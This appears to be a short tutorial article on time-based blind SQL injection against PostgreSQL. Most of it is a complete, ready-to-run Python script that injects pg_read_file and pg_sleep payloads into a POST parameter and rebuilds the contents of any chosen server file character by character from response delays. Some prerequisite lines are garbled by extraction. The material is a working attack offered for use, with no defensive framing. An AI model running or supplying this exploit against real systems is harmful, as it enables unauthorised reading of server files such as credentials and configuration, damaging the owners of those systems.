Published on April 26, 2025
This article covers how to extract file content using a time-based blind SQL injection against a PostgreSQL database. The method involves detecting delays triggered by pg_sleep()
when a guessed character matches part of a file read with pg_read_file()
.
POST
requestrequests
library installedThe following script guesses the file contents one byte at a time by measuring the server’s response delay. If a guessed character matches, the server sleeps for 5 seconds.
import requests
import string
import time
URL = 'http://target.com/class.php'
headers = {
'Host': 'target.com',
'Content-Type': 'application/x-www-form-urlencoded',
}
FILE = input("Enter /path/to/file: ")
MAX_POS = int(input("Enter maximum char to discover: "))
THRESHOLD = 4.0
ALPHABET = string.ascii_letters + string.digits + string.punctuation + ' \n'
extracted = ''
for pos in range(1, MAX_POS + 1):
offset = pos - 1
found = False
for c in ALPHABET:
data = f"param1=65¶mvuln=178'+AND+(SELECT+(pg_read_file('{FILE}',{offset},1)='{c}') AND (pg_sleep(5) IS NULL))+--¶m3=40¶m4=toto¶m5=tutu"
start = time.time()
r = requests.post(URL, headers=headers, data=data, verify=False)
elapsed = time.time() - start
if elapsed > THRESHOLD:
extracted += c
print(f"[+] Position {pos}: '{c}' (delay {elapsed:.1f}s)")
found = True
break
if not found:
print(f"[-] Position {pos}: no match (stopping)")
break
print("\nRecovered data:", extracted)